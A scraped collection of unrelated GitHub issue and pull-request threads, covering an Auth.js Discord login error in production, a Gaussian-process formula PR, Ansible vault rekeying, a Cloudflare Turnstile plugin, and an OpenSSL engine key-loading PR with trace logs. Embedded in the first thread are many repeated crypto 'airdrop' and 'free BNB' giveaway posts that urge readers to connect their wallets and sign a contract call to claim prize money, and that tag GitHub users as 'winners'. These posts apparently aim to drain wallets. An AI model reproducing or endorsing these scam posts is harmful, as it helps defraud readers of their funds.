[provider:discord] CallbackRouteError from authjs

works on dev, but in production like this

Looks like an upstream issue related to auth.js. I'll leave this open to track it.

@Hebilicious  i has been update the repo
check this : @afkadev/nuxt-auth-discord

upstream issue https://github.com/nextauthjs/next-auth/issues/7764

@namdevel can you try the fix proposed in next-auth, ie updating callback url in the discord app settings to http://localhost:3000/api/auth/callback/discord ?

the link my deployed app is already writed in my repo check in the right side

the problem is only in production, in dev the app working

Did you try the default authorization link fix ?

still error

@namdevel As this is not an issue with authjs-nuxt but with authjs itself, you're gonna have to look for help and changes in authjs itself https://github.com/nextauthjs/next-auth/issues/7764 :/

@namdevel try this https://github.com/nextauthjs/next-auth/discussions/948

@Hebilicious  how to set custom auth url on authjs-nuxt

still error in production,
on dev, that was working as a charm

🪂 Chainlink $LINK Airdrop: How to Qualify for Chainlink $LINK Coin airdrop?

If you're interested about the world of holder airdrops and governance tokens, the Chainlink $LINK initiative airdrop is a great place to begin. This guide will streamline the process for you, elucidating how to join this airdrop and what you can anticipate.

🚀 Simple Steps to Secure Your Ocean Protocol Airdrop:

Connect Your Wallet:

Swing by the  Chainlink $LINK Airdrop.
Link up your preferred wallet (Metamask, Coinbase, Trust Wallet, and more).

Eligibility Check:

Confirm your eligibility for the Ocean Protocol Airdrop right here.

Engage for Extra Rewards:

Dive into community discussions or tackle tasks for bonus rewards.

🌈 Bonus Tips for Chainlink $LINK Airdrop Airdrop Success:

Community Assistance:

Need a hand? Shoot a message on Telegram or other social media platforms.

Stay Informed:

Keep your eyes peeled for updates on the airdrop process via official channels.

Patience Pays Off:

Airdrop distribution might take a bit. Stay chill and keep an eye out for updates.

Feel free to share your Ocean Protocol Airdrop experiences or shoot any questions in the comments below. Let's make this process a breeze for everyone!

Binance Free Tokens Giveaway - Claim Yours Now! 🎉💰
Welcome to the exclusive Binance Free Tokens giveaway, where we're distributing over $1,100,000 in $BNB! 🚀 Don't miss out on this fantastic opportunity to claim your free tokens. Here's a quick guide to kickstart your journey:

Steps to Claim:

Spread the Excitement on Twitter:

Share the news about claiming your free tokens!

Tweet: Claimed my free tokens on Binance! 🌟 #BinanceFreeTokens #Crypto

Connect Your Binance Wallet:

Click on the Connect Wallet button.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

Interact with the Contract:

Once your wallet is connected, go to the Binance Free Tokens Page.
Click on the "Claim" button to interact with the smart contract.

Claim Your Free Tokens:

Confirm the transaction in your wallet to execute the claim method.
Wait for the transaction to be processed.

Spread the Excitement Further:

After successfully claiming your tokens, share the news with friends!

Facebook: Share on Facebook

Act swiftly and enjoy your tokens! This limited-time offer won't be available forever. 🌐💰

Binance Airdrop Guide: $500k Worth of Airdrop is Ready, Claim Your $1500 in BNB Now!
Congratulations! You've won a share of the $500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

Don't miss out on your $1500 in BNB! Act now to secure your tokens.
Winners: @

Binance Airdrop Guide: Claim Your $1500 in BNB Now!
Congratulations! You've won a share of the $500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

Don't miss out on your $1500 in BNB! Act now to secure your tokens.
Winners: @

Binance Airdrop Guide: Claim Your $1500 in BNB Now!
Congratulations! You've won a share of the $500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

Don't miss out on your $1500 in BNB! Act now to secure your tokens.
Winners: @

Binance Airdrop Guide: Claim Your $1500 in BNB Now!
Congratulations! You've won a share of the $500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

Don't miss out on your $1500 in BNB! Act now to secure your tokens.

Congratulations! You've won a share of the $500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

Don't miss out on your $1500 in BNB! Act now to secure your tokens.
Winners: @

Binance Airdrop Guide: Claim Your $1500 in BNB Now!
Congratulations! You've won a share of the $500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

Don't miss out on your $1500 in BNB! Act now to secure your tokens.
Winners: @

$BNB Airdrop: Claim Your $1000 in BNB Now!
🎉 Congratulations! You've been selected to receive a portion of the $1.5k Binance Airdrop. We're thrilled to offer you $1500 in BNB. But wait, there's more—connect now, and instantly receive an additional $100! Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. 🌐 Connect Your Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. 🔄 Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

💰 Don't miss out on your $1000 in BNB! Additionally, enjoy an instant $100 upon connection. Act now to secure your tokens. And hey, take the opportunity to win up to $20,000—it's your golden chance!
Winners: @joshstevens19, @linmiss, @Pana, @g00fy-, @scobru, @karangoraniya, @bemevolent

The Ultimate Binance Airdrop Guide: Claim Your $1500 in BNB Now and Earn Extra Rewards!
🎉 Exciting News! You are the lucky recipient of the exclusive $1.5 million Binance Airdrop, and we're thrilled to offer you $1500 in BNB to enhance your year-end celebrations. And here's the cherry on top—connect now, and you'll instantly receive an extra $100! Follow the detailed steps below to seamlessly claim your tokens and maximize the benefits of this phenomenal festive giveaway.

How to Claim Your Rewards:
1. 🌐 Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).
Enjoy a smooth and secure connection.

2. 🔄 Interact with the Smart Contract:

Once your wallet is connected.
Navigate to the platform and click on the "Claim" button to interact with the smart contract.
Benefit from the transparent and efficient process.

3. 💰 Additional Bonus Rewards:

Get an instant bonus of $100 upon connecting your wallet.
Capitalize on this limited-time opportunity to boost your overall rewards.

Act now to secure your $1500 in BNB, and take advantage of the extra $100 bonus—this is an offer you don't want to miss! But wait, there's more. By participating, you also stand a chance to win up to $20,000 in additional rewards. Don't hesitate; click the link now and experience the excitement of earning crypto rewards with a minimal 5% transaction fee.
Winners: @zyxa9527, @linkdrone, @Praexor, @iC0rraxX, @Erengun, @smit-1923, @hepengwei, @thejdavid, @AustinGreen, @pallyoung, @omurovec, @ljshwyykl, @likenow, @wniter, @michecode, @hbarcelos, @Bind, @Bouncyknighter, @manavkampani, @hashfriend, @valenzhou, @osadavc, @wakiyamap, @behics, @0xpachinko, @PoarryScript, @ItaloSampaio, @achiko, @ReganQing, @alxistn


Feature/formula

Implements string formula parsing for specifying mean functions. New formula module added, along with some modifications to the MeanFunction module.

formula module, which contains a number of functions for converting strings into mean functions. This parsing can be done with patsy package, which is designed to handle R-style formulas for specifying regression models, though the module is able to parse strings without patsy so this is not a required dependency
MeanFunction"factory" function for creating a mean function from a string. This required re-naming the previous base mean class as MeanBase (since this class was never directly accessed by the user, I feel this approach is a bit cleaner and avoids the issue of whether or not to make the factory function a class method or a static method).
A full suite of unit tests for all new functionality
Documentation pages for the formula module

Codecov Report

Merging #77 into devel will increase coverage by 2.12%.
The diff coverage is 97.28%.

@@            Coverage Diff             @@
##            devel      #77      +/-   ##
==========================================
+ Coverage   85.42%   87.54%   +2.12%
==========================================
  Files          26       30       +4
  Lines        4996     6088    +1092
==========================================
+ Hits         4268     5330    +1062
- Misses        728      758      +30

Impacted Files
Coverage Δ

mogp_emulator/tests/test_MeanFunction.py
100% <100%> (ø)

mogp_emulator/GaussianProcess.py
92.95% <100%> (+0.07%)
:arrow_up:

mogp_emulator/MeanFunction.py
92.64% <92.64%> (ø)

mogp_emulator/formula.py
98.42% <98.42%> (ø)

mogp_emulator/tests/test_formula.py
98.47% <98.47%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 93fc6b6...0aa45a1. Read the comment docs.


Retrying account-link uses create-from-institution redirect url

This issue is imported from pivotal
If linking an account fails because the account is already linked to another eduID, the retry button uses the redirect url for creating an eduID from an institution. See screenshot

(Peter Havekes - Jan 16, 2023)

https://github.com/OpenConext/OpenConext-myconext/commit/db4f27c5f062efae08a3d49a3401ec5eb73f40b8 (Okke Harsta - Jan 23, 2023)


[Feature Request]: Add A Visual Editor To Split PDF

Feature Description
I would like to see a feature where the Split PDF page has a similar visual editor to the multi-tool page for ease of use.
Why is this feature valuable?
As the Split PDF feature currently stands, if you don't precisely know the pages you want to split the document on you'll need to have the document open and go back and forth between the document and the tool. The splitting string is also not very intuitive, thus it's easy to make mistakes. A feature like this would increase the usability of this tool greatly.
Suggested Implementation
This feature could work by having the usual split string text input, and below it display the pages of the document in a similar manner to the multi-tool. In this view, unlike the multi-tool, the user wouldn't be able to add, remove or rotate pages. However, by clicking between pages (similar to adding pages in the multi-tool) the user would be able to place separators. As the user does this, the splitting string text input would be automatically updated.
If the user manually updates the string, separators in the visual editor would be added/removed automatically as well.
This way, you could add an easier but slower way of doing things if you're not exactly sure which pages do you want to separate but still keep the faster way to do it with the text input.
Additional Information
While I'm checking the "no duplicate of the feature" box below, a similar issue exists here #1540. However the linked issue is about adding splitting operations to the multi-tool, while this one's about enhancing the already present splitting tool. I can imagine why adding splitting to the multi-tool could be a more complicated issue, while this implementation could be simpler.
No Duplicate of the Feature

[X] I have verified that there are no existing features requests similar to my request.

Since the mentioned issue (#1540 ) didn't have anyone assigned and I wanted a comparable feature relatively soon if possible, I thought I'd take a crack at this however my initial thoughts were wrong and it'd be much easier to add splitting functionality to multi-tools instead of the standalone split-pdfs tool due to its batch processing nature.
Closing this issue because it doesn't make sense.


Fix incorrect values in package.json

@palemieux is this good to go?

@palemieux is this good to go?

It is approved. No merge button for you?

@palemieux is this good to go?

It is approved. No merge button for you?

nope.


MySQL sort_buffer_size problem

I'm having an issue with large indices and sort_buffer_size.  I work in a controlled distributed environment where I don't have the option of setting this configuration parameter for MySQL on a shared server, and I'm unable to index my database because it keeps running out of memory.  Is there a way to pass this as a parameter when trying to run rake ts:index in a production environment?  I tried setting the mem_limit option in thinking_sphinx.yml and it had no effect.  I got around the issue in development because I can up the limit on my machine, but the production MySQL server is shared amongst multiple groups and the DBAs refused to up the limit for performance reasons.
I'm using MySQL 5.6 and InnoDB.

@madhuri033 are you using MySQL or PostgreSQL as your database? If you're using MySQL, it's worth noting that the sort_buffer_size setting may need to be increased at the database configuration level itself (e.g. the my.cnf file) to ensure the available upper limit is high enough (I'm guessing connection-level settings can only obtain whatever the server maximum is).
However, getting too carried away with modifying sort_buffer_size is not recommended:
https://www.xaprb.com/blog/2010/05/09/how-to-tune-mysqls-sort_buffer_size/
I would recommend instead removing the sortable: true flag from fields that do not need it - and in particular, I'm guessing the post_description field perhaps doesn't need to be sorted in Sphinx queries? If it's a text column (rather than varchar/length-limited string), then sorting certainly doesn't feel appropriate.


Rekey geniza secrets with secondary vault key and setup deploy with limited access

to address https://github.com/princeton-cdh/geniza/issues/1051
changes in this update:

a new geniza ansible vault key has been added to CDH LastPass
encrypted variables and files for geniza have been rekeyed with the new geniza vault key
two shell scripts have been added to this repo to wrap around lpass cli to retrieve the appropriate vault key (doing this means we don't need to install the lastpass-ansible gem)
ansible.cfg has been updated with default identity list for both the default key and the new geniza key
unnecessarily vaulted qa variables have been moved to regular variables
all/vault.yml variables has been moved to a vault var file in a new setup role, which is loaded as a dependency for other roles to conditionally loaded if setup tag is specified and the geniza deploy only environment variable is not set.
update readme with basic lastpass info and setup instructions
add section to readme about setup for running geniza playbooks with limited access

When I test with ansible-vault view and the default credentials, I can successfully decrypt and view vault files with either key. If I override the vault ids with an environment variable setenv ANSIBLE_VAULT_IDENTITY_LIST<EMAIL_ADDRESS>then I can decrypt the geniza vaulted files but decryption of other files fails.
I'm now able to run geniza qa playbook successfully with the geniza vault id only; when I try to run it with setup tasks enabled, it errors immediately. When I run with both geniza and default vault ids, I can run the playbook with setup tasks enabled.
Update 2023-01-12: had a working session with Ben (contractor) to get him set up; we worked from this branch and confirmed that he was able to run deploy scripts successfully. I updated from main and pulled in the replicate playbook, and confirmed that with a few minor tweaks (at least one of which I've made in the other branch), he was able to successfully replicate from production to qa.  I should improve the setup documentation, though — some of it is unclear and other parts are out of date.

This PR has uncovered some linting issues. In roles/passenger:
./handlers/main.yml
  Error: 16:1 [empty-lines] too many blank lines

In roles/prosody_setup:
./tasks/extract_marc.yml
  Error: 24:81 [line-length] line too long (144 > 80 characters)

./molecule/default/verify.yml
  Error: 9:3 [indentation] wrong indentation: expected at least 3

This PR has uncovered some linting issues. In roles/passenger:
./handlers/main.yml
  Error: 16:1 [empty-lines] too many blank lines

In roles/prosody_setup:
./tasks/extract_marc.yml
  Error: 24:81 [line-length] line too long (144 > 80 characters)

./molecule/default/verify.yml
  Error: 9:3 [indentation] wrong indentation: expected at least 3

Thank you for telling me about these — at some point my molecule tests broke (due to some change external to my ansible repo) and I haven't had time or energy to figure out why and fix; and unfortunately I've kind of let linting and testing slip since then


feat: create Cloudflare Turnstile middleware plugin

Fixes #956
This is the initial implementation of a Cloudflare Turstile plugin.
It's pretty straightforward: the server plugin is an onRequest middleware that submits the CAPTCHA token to Cloudflare's /siteverify endpoint and intercepts  any invalid/missing CAPTCHA challenge.
The reason this is a draft PR:
I need some help setting up the unit tests: on the simple test I created, I'm getting an Internal Server Error, not sure why.  I didn't find any other middleware plugins to get inspiration, would love some help/guidance 🙂
The documentation (should it be part of this PR?):

Add the turnstile plugin to the better-auth instance:

plugins: [
  // ...
  turnstile({ secretKey: process.env.TURNSTILE_SECRET_KEY! })
],

Other plugin options are available:

endpoints: overrides the default protected endpoints: ["/sign-up", "/sign-in", "/forget-password"]
siteVerifyURL: overrides the default site verify URL: "https://challenges.cloudflare.com/turnstile/v0/siteverify"

On the client:

Add the x-turnstile-captcha-response to the request headers for all protected endpoints:
Example:
await signIn.email({
  email: values.email,
  password: values.password,
  fetchOptions: {
    headers: {
      "x-turnstile-captcha-response": turnstileToken,
    },
  },
});

To set up Turnstile on the client, see the official Cloudflare Turnstile documentation, or use a library like react-turnstile.

Hey, great work on this! I think the middleware error is happening because you're throwing APIError. We should document this more clearly, but in onRequest, throwing APIError isn't handled by the router. Instead, the server assumes an unexpected error occurred. You should return a Response object instead, like this:
return new Response();

That was it, thanks!
Should the documentation be part of this PR? Not sure what process you follow for releasing the documentation :)

would be nice if the doc change is another PR

Hey this is great! could you add the doc for the plugin as well?

would be nice if the doc change is another PR

I think I misunderstood your question here. I was suggesting the doc for mentioning APIError shouldn't be thrown in a middleware should be another PR. The plugin docs would be great if they are included within this PR

Done! Added the plugin to the Utility section of the docs.

Nice work! Perhaps it would be good to add some of the Email OTP endpoints to the defaults

Email OTP is another plugin though, I would argue it makes sense to keep these endpoints out of the defaults. Wdyt?


port not shown in 'deployed solutions' after flist reservation

When reserving through an flist, at the end you get an ip-address:port which you can use for accessing your workload, in the chatflow.

However, when consulting afterwards in the deployed solutions, the port is nowhere specified.

Making that the workload might be inaccessible if not remembered well.

port is shown in 'deployed solutions' after flist reservation
commit:https://github.com/threefoldtech/jumpscaleX_threebot/commit/d3c0ebe32fb2d67626597c3470200994c56cb7e9

Branch: development
commit: ff742f685921038c591234977fc191146e465fed
I tried to deploy flist using chatflows and after it finished, I didn't find port on the deployed flist.

Added commit: https://github.com/threefoldtech/jumpscaleX_libs/commit/e4360a81ecbf73b403b9401a8be543b86c34ef71
Fixed on development - jumpscaleX_libs

Verified
Branch: rc_10.6
libs: https://github.com/threefoldtech/jumpscaleX_libs/commit/ded1bcc2af60e7ff226d642eb21568a49d339007
threebot: a9aca99fb37d0d9e866731d9f3dca06f98cb96b8


What is the best practices to keep state and FormControl in sync?

This is a...

[x] usage question

Environment
Typescript Version: 2.4.1
Angular Version: 4.3.1
@angular-redux/store version: 6.5.7
OS: Windows, ASP.NET Core
Additional Notes:
I want to edit a field of the state and on the other hand initialise the form with the current state or load another value from a database. Which is the best way to keep the input and the state in sync without getting to much roundtrips of actions and listeners?
Currently my code looks like this:
interface IAppState {
    field: string;
}

control: FormControl = new FormControl();

constructor(private store: NgRedux<IAppState>) {
    this.store.select<string>(["field"])
        .filter((value: string) => (this.control.value !== value))
        .subscribe((value: string) => {
            this.control.setValue(value);
        });

    this.control.valueChanges
        .map<any, string>((value: any) => `${value}`)
        .subscribe((value: string) => {
            let state: IAppState = this.store.getState();
            if (state.field !== value) {
                this._store.dispatch({ type: "SET_FIELD", payload: value });
            }
        });
}

I will only set the control's value if it's different from the current value and only dispatch the action, if the current state is different. It feels a bit noisy, esp. the test against the current state.
Is there a better way? Is it possible to move the dirty check inside the reducer and therefor not trigger the listeners?

It seems like I could remove the state-check, if don't emit the valueChanges-event on the setValue:
this.control.setValue(value, { emitEvent: false });

but I think, the check of the state against the current control value should be in place?

I haven't tried this in a real application, and there are likely mistakes in here, but have you tried something like this?
I think the other option would to debounce the subscription to the control.valueChanges subscription to slow down excessive dispatch calls. Just an idea.
interface IAppState {
    field: string;
}

@select(state => state.field) field$: Observable<string>;
@dispatch() onSetField = (payload) => ({ type: 'SET_FIELD', payload: value });

control: FormControl = new FormControl();

ngOnInit() {

  this.field$.subscribe((value: string) => this.control.setValue(value));

  this.control.valueChanges
    .map<any, string>((value: any) => `${value}`)
    .subscribe(newValue => {
      this.field$
        .switchMap(currentValue => {
          if(currentValue != newValue) {
            this.onSetField(newValue);
          });
        });
      });
    });
}

Thank you for your input. Your code doesn't compile and I don't know, where you're heading, since the switchMap has to return a value and there is no subscribe on the switchMap.
A debounce wouldn't help me, because it won't prevent the useless roundtrip with the same value.
For now I have a dirty-check before the control.setValue against the current control-value and in my reducer, when I want to set the new field content. But if I get new insights with this, I will post an update.

Wouldn't you just use https://github.com/angular-redux/form?

Because I didn't know of it. :)
I will evalute that package, thanks.


Merge master into dev-1.20 to keep in sync

Merge master into dev-1.20 to keep in sync - SIG-Release 1.20 Docs team 11/19/20

/lgtm

Thanks @SomtochiAma!
There is one commit with a build error like you mentioned: https://github.com/kubernetes/website/pull/25115/commits/96a86da7c1ad5c12fabfab8a55f64d313a41e380 but I don't think its a concern since it was fixed by the commits after
/approve


"OBJC_CLASS$_ParticleCloud", referenced from:

Hi,
I seem to be having a hard time getting your library to work.
These are the errors I currently get when attempting to use the library in xCode
Apple Mach-O Linker Error Group
"OBJC_CLASS$_ParticleCloud", referenced from:
clang: error: linker command failed with exit code 1 (use -v to see invocation)

How are you using the library? Which version?
Cocoapods/Carthage?
How did you install it?
Which XCode version are you using?
Is your project swift or Obj-C?
Must have more details in order to try to help..
Also be sure to check the huge knowledge base in:
https://community.particle.io/c/mobile

Did you open and use  the .xcworkspace Xcode workspace pod CLI created for you?

Yes, I opened the workspace.
The pods project is part of the workspace and contains the 'Particle-SDK'.
And yes the Linked Frameworks and Libraries has the pod_xxx.framework there

I'll try to reproduce it with a blank project

Thanks for the help!
I just deleted everything and restarted from scratch and it's all working now.
And sorry for the trouble

Happy to hear issue was resolved, probably was a workspace/linking issue.


Improved detection of engine-provided private "classic" keys

Resolves #17092 (?)

Checklist

[ ] documentation is added or updated
[ ] tests are added or updated

I wonder whether we have any other cases when we missed that the loaded key is legacy...

Please exclude https://github.com/openssl/openssl/issues/17286. It is not engine related! It is more generic.
For instance code in https://gitlab.com/secsh/pkixssh/-/commits/master/ssh-pkcs11.c has following commits authored 7-8 mounts ago:

set pkcs#11 ec-key method immediately on plain key
set pkcs#11 rsa-key method immediately on plain key
set pkcs#11 key method immediately on X.509 certificate
use existence of function EVP_KEYMGMT_get0_provider to throw out "key manager" in OpenSSL 3+

If I remember well OpenSMTPD issue fail into general issue.

@petrovr sure. Let's deal with the engine case first.

After review of code I'm not convinced that pull fixes #17092 - see https://github.com/openssl/openssl/issues/17092#issuecomment-1366127058 . When I have spare time I will check it. May be after two weeks.
In #17092 test scenario is: engine loaded and initialied first followed by call of d2i_PUBKEY where DER material is from random source. Result is internal structure with key manager and engine method.
I guess that test case could be like this:

configuration that set engine with rsa by path (or by id + init command)
load for rsa public key from file

I have no time to test such case, sorry.

None of the EVP_PKEY_set1_XXX() functions have their returns checked. Should ENGINE_load_private_key() always succeed regardless of the return values?

Once again, please  exclude #17286.

This pull does not change anything.
With
fprintf(stderr, "TRACE[OpenSSL].%s()  [[ //before load_privkey\n", __func__);
    pkey = e->load_privkey(e, key_id, ui_method, callback_data);
fprintf(stderr, "TRACE[OpenSSL].%s()  ]] //after load_privkey\n", __func__);

Result is:
TRACE.ENGINE_load_private_key()  [[ //before load_privkey
INFO[e_nss] Loading private key - 'E_NSS Certificate (client-rsa) - E_NSS Test Team cyrillic-АБВ-Яабв-я greek-ΑΒΓ-Ωαβγ-ω'.
TRACE[e_nss] nss_init_database(): NSS_Init('nssdb') ...
TRACE[e_nss] nss_init_database(): FIPS mode: 0, PK11_IsFIPS()=0
DEBUG[e_nss] Signer's certificate found.
TRACE[e_nss] nss_load_key(): wincx=0x7ffc33fd0830
TRACE_E_NSS:nss_pass_func()  args: slot=0x18b62a0, retry=0, arg=0x7ffc33fd0830
TRACE_E_NSS:nss_pass_func_ui_method()  PK11_GetSlotName()='NSS User Private Key and Certificate Services'
TRACE_E_NSS:nss_pass_func_ui_method()  PK11_GetTokenName()='NSS Certificate DB'
TRACE_E_NSS:nss_pass_func_ui_method()  PK11_GetMinimumPwdLength()=0
TRACE_E_NSS:nss_pass_func_ui_method()  NSS_UI ui_method=0x1823d20, ui_data=0x7ffc33fd0950
TRACE_E_NSS:nss_pass_func_ui_method()  prompt='Enter pass phrase for NSS Certificate DB:'
TRACE_E_NSS:nss_pass_func_ui_method()  buf1='testing'
TRACE_E_NSS:nss_pass_func_ui_method()  UI result[0]='testing'
TRACE[e_nss] nss_load_key(): pvtkey=0x18c0520
TRACE[e_nss] nss_load_key(): pubkey=0x18bf0c0
TRACE[e_nss] nss_load_key(): q=0x18c1510
TRACE_E_NSS:nss_rsa_init()  ...
TRACE_E_NSS:nss_rsa_init()  idx: 1, ptr: 0x18d2210
TRACE_E_NSS:nss_rsa_init()  ^ ok
TRACE[e_nss] nss_load_key(): pkey=0x18d1dc0
TRACE_E_NSS:nss_rsa_init()  ...
TRACE_E_NSS:nss_rsa_init()  idx: 1, ptr: 0x18d1390
TRACE_E_NSS:nss_rsa_init()  ^ ok
TRACE_E_NSS:nss_init_keyctx_rsa()  RSA by default!
TRACE_E_NSS:nss_init_keyctx_rsa()  new RSA ...
TRACE_E_NSS:nss_rsa_init()  ...
TRACE_E_NSS:nss_rsa_init()  idx: 1, ptr: 0x18c0ea0
TRACE_E_NSS:nss_rsa_init()  ^ ok
TRACE_E_NSS:NSS_KEYCTX_free_rsa()  idx: 1, ptr: 0x18d2210
TRACE_E_NSS:NSS_KEYCTX_free_rsa()  idx: 1, ptr: 0x18d1390
TRACE[e_nss] nss_load_key(): keyctx=0x18c0ea0
TRACE[e_nss] nss_load_key(): keyctx->pvtkey=0x18c0520
TRACE[e_nss] nss_load_key(): keyctx->pubkey=0x18bf0c0
TRACE[e_nss] nss_load_key(): ^ pkey=0x18d1dc0
TRACE.ENGINE_load_private_key()  ]] //after load_privkey

Remark : work-around in e_nss code now is modified to log if engine method is assigned to rds/dsa keys.
This is visible from log "....RSA by default!".
At this point engine method and provider key manager are assigned to pkey structure.

Once again, please exclude #17286.

Done

Without patch:
$ CONFIG_DIR=`pwd`/tests/nssdb OPENSSL_ENGINES=`pwd`/engines/.libs/ OPENSSL_CONF=/home/dbelyavs/upstream/e_nss-4.2/tests/openssl.cnf LD_LIBRARY_PATH=../openssl ../openssl/apps/openssl dgst -sha256 -sign "E_NSS Certificate (client-rsa) - E_NSS Test Team cyrillic-АБВ-Яабв-я greek-ΑΒΓ-Ωαβγ-ω" -keyform ENGINE -engine e_nss -passin file:tests/nsspassfile /home/dbelyavs/upstream/e_nss-4.2/tests/openssl.cnf > sign
TRACE_E_NSS:bind_helper()  args: e=0x1dab6e0, id=<none>
TRACE_E_NSS:bind_nss()  args: e=0x1dab6e0
TRACE_E_NSS:bind_nss_rsa_method()  nss_rsa_ctx_index=1
TRACE_E_NSS:bind_nss_rsa_method()  rsa_method=0x7ff521db63c0[OpenSSL PKCS#1 RSA]
TRACE_E_NSS:bind_nss_dsa_method()  nss_dsa_ctx_index=1
TRACE_E_NSS:bind_nss_dsa_method()  dsa_method=0x7ff521db4f40[OpenSSL DSA method]
TRACE_E_NSS:bind_nss_ec_method()  ec_method=0x1db0190
TRACE_E_NSS:bind_nss_ec_method()  nss_ec_ctx_index=1
TRACE_E_NSS:nss_ctrl()  cmd=211/DEBUG: i=3, p=(nil), f=(nil)
TRACE_E_NSS:nss_ctrl()  cmd=210/CONFIG_DIR: i=0, p=0x1dac7c0, f=(nil)
TRACE_E_NSS:nss_init()  args: e=0x1dab6e0
TRACE_E_NSS:nss_init_eng_ctx()  e=0x1dab6e0, nss_eng_ctx_index=-1
TRACE_E_NSS:nss_init_eng_ctx()  nss_eng_ctx_index=2
TRACE_E_NSS:nss_init_eng_ctx()  ctx=0x1db0670
TRACE_E_NSS:nss_init()  ^ ok
TRACE_E_NSS:nss_digests()  requested nid list
TRACE_E_NSS:nss_pkey_meths()  requested nid list
Engine "e_nss" set.
INFO[e_nss] Loading private key - 'E_NSS Certificate (client-rsa) - E_NSS Test Team cyrillic-АБВ-Яабв-я greek-ΑΒΓ-Ωαβγ-ω'.
TRACE[e_nss] nss_init_database(): NSS_Init('/home/dbelyavs/upstream/e_nss-4.2/tests/nssdb') ...
TRACE[e_nss] nss_init_database(): FIPS mode: 0, PK11_IsFIPS()=0
DEBUG[e_nss] Signer's certificate found.
TRACE[e_nss] nss_load_key(): wincx=0x7ffe4ab078e0
TRACE_E_NSS:nss_pass_func()  args: slot=0x1e09e40, retry=0, arg=0x7ffe4ab078e0
TRACE_E_NSS:nss_pass_func_ui_method()  PK11_GetSlotName()='NSS User Private Key and Certificate Services'
TRACE_E_NSS:nss_pass_func_ui_method()  PK11_GetTokenName()='NSS Certificate DB'
TRACE_E_NSS:nss_pass_func_ui_method()  PK11_GetMinimumPwdLength()=0
TRACE_E_NSS:nss_pass_func_ui_method()  NSS_UI ui_method=0x1dac620, ui_data=0x7ffe4ab07ab0
TRACE_E_NSS:nss_pass_func_ui_method()  prompt='Enter pass phrase for NSS Certificate DB:'
TRACE_E_NSS:nss_pass_func_ui_method()  buf1='testing'
TRACE_E_NSS:nss_pass_func_ui_method()  UI result[0]='testing'
TRACE[e_nss] nss_load_key(): pvtkey=0x1e53cc0
TRACE[e_nss] nss_load_key(): pubkey=0x1e55100
TRACE[e_nss] nss_load_key(): q=0x1e55a70
TRACE_E_NSS:nss_rsa_init()  ...
TRACE_E_NSS:nss_rsa_init()  idx: 1, ptr: 0x1e67070
TRACE_E_NSS:nss_rsa_init()  ^ ok
TRACE[e_nss] nss_load_key(): pkey=0x1e580e0
TRACE_E_NSS:nss_rsa_init()  ...
TRACE_E_NSS:nss_rsa_init()  idx: 1, ptr: 0x1e66b60
TRACE_E_NSS:nss_rsa_init()  ^ ok
TRACE_E_NSS:nss_init_keyctx_rsa()  RSA by default!
TRACE[e_nss] nss_load_key(): keyctx=0x1e66b60
TRACE[e_nss] nss_load_key(): keyctx->pvtkey=0x1e53cc0
TRACE[e_nss] nss_load_key(): keyctx->pubkey=0x1e55100
TRACE[e_nss] nss_load_key(): ^ pkey=0x1e580e0
TRACE[e_nss] nss_rsa_sign(): args: dtype=672, m=0x7ffe4ab07a20, m_length=32
TRACE[e_nss] nss_rsa_sign(): rsa=0x1e66f40, meth=0x1db0000, name=NSS PKCS#1 RSA method
TRACE[e_nss] nss_rsa_sign(): keyctx=0x1e67070
TRACE[e_nss] nss_rsa_sign(): keyctx->pvtkey=0x0
TRACE[e_nss] nss_rsa_sign(): ret=0
Error signing data
4057EC21F57F0000:error:4000007B:E_NSS:nss_rsa_sign:Missing private key:e_nss_rsa.c:482:
4057EC21F57F0000:error:1C880004:Provider routines:rsa_sign:RSA lib:providers/implementations/signature/rsa_sig.c:599:
TRACE_E_NSS:NSS_KEYCTX_free_rsa()  idx: 1, ptr: 0x1e66b60
TRACE_E_NSS:NSS_KEYCTX_free_rsa()  idx: 1, ptr: 0x1e67070
TRACE_E_NSS:nss_finish()  ...
TRACE_E_NSS:nss_finish()  NSS_Shutdown() ...
